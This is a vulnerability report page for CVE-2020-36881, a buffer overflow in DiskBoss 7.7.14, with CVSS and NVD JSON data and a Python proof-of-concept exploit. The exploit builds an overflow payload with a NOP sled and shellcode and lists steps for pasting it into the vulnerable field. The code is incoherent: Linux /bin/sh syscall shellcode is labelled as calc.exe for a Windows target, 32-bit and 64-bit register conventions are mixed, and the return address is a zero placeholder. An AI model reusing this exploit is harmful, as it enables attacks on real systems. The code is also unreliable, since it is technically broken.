Security Vulnerability Report
中文
CVE-2020-36881 CVSS 7.8 HIGH

CVE-2020-36881

Published: 2025-12-05 18:15:54
Last Modified: 2025-12-10 15:10:26

Description

Flexsense DiskBoss 7.7.14 contains a local buffer overflow vulnerability in the 'Input Directory' component that allows unauthenticated attackers to execute arbitrary code on the system. Attackers can exploit this by pasting a specially crafted directory path into the 'Add Input Directory' field.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:flexense:diskboss:7.7.14:*:*:*:*:*:*:* - VULNERABLE
Flexsense DiskBoss 7.7.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2020-36881 PoC - DiskBoss 7.7.14 Buffer Overflow in Input Directory # Affected Component: Add Input Directory field # CVSS 3.1: 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) import struct def generate_malicious_path(): """Generate a long directory path to trigger buffer overflow""" # Buffer size is typically around 260-520 bytes # We need to overflow past the return address (8 bytes on x64) buffer_size = 600 # Padding before EIP overwrite padding = b'A' * 520 # Overwrite EIP with address of JMP ESP or call ESP (find in loaded modules) # For demonstration, using a common gadget address from ntdll.dll eip = struct.pack('<Q', 0x0000000000000000) # TODO: Replace with actual JMP ESP address # Shellcode for calc.exe execution (27 bytes) # This is a minimal shellcode - replace with actual payload in real attack shellcode = ( b"\x48\x31\xff" # xor rdi, rdi b"\x48\x31\xf6" # xor rsi, rsi b"\x48\x31\xd2" # xor rdx, rdx b"\x4d\x31\xc0" # xor r8, r8 b"\xb0\x3b" # mov al, 0x3b (sys_execve) b"\x48\x8d\x3c\x2c" # lea rdi, [rsp+0x2c] b"\x48\x8d\x74\x24\x50" # lea rsi, [rsp+0x50] b"\x48\xc7\x44\x24\x58\x2f\x62\x69\x6e" # mov qword [rsp+0x58], '/bin' b"\x48\xc7\x44\x24\x60\x2f\x73\x68\x00" # mov qword [rsp+0x60], '/sh\x00' b"\x48\x89\xe6" # mov rsi, rsp b"\x0f\x05" # syscall ) # NOP sled for reliability nop_sled = b'\x90' * 16 # Construct final payload payload = padding + eip + nop_sled + shellcode return payload def create_exploit_script(): """Create a script that simulates the exploit delivery""" malicious_path = generate_malicious_path() # For demonstration: print the path length and first/last bytes print(f"[*] Generated malicious path length: {len(malicious_path)} bytes") print(f"[*] Path starts with: {malicious_path[:20].hex()}") print(f"[*] Path ends with: {malicious_path[-20:].hex()}") # In real attack scenario: # 1. Copy the malicious_path to clipboard # 2. Paste into DiskBoss "Add Input Directory" field # 3. Trigger the overflow by clicking OK/Add return malicious_path if __name__ == "__main__": print("CVE-2020-36881 PoC - DiskBoss 7.7.14 Buffer Overflow") print("=" * 60) create_exploit_script()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2020-36881", "sourceIdentifier": "[email protected]", "published": "2025-12-05T18:15:54.047", "lastModified": "2025-12-10T15:10:25.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Flexsense DiskBoss 7.7.14 contains a local buffer overflow vulnerability in the 'Input Directory' component that allows unauthenticated attackers to execute arbitrary code on the system. Attackers can exploit this by pasting a specially crafted directory path into the 'Add Input Directory' field."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:flexense:diskboss:7.7.14:*:*:*:*:*:*:*", "matchCriteriaId": "45845F37-34B8-4E68-B7B3-388E5E643282"}]}]}], "references": [{"url": "https://github.com/x00x00x00x00/diskboss_7.7.14/raw/master/", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/x00x00x00x00/diskboss_7.7.14/raw/master/diskboss_setup_v7.7.14.exe", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.diskboss.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/48279", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/flexsense-diskboss-add-input-directory-buffer-overflow", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}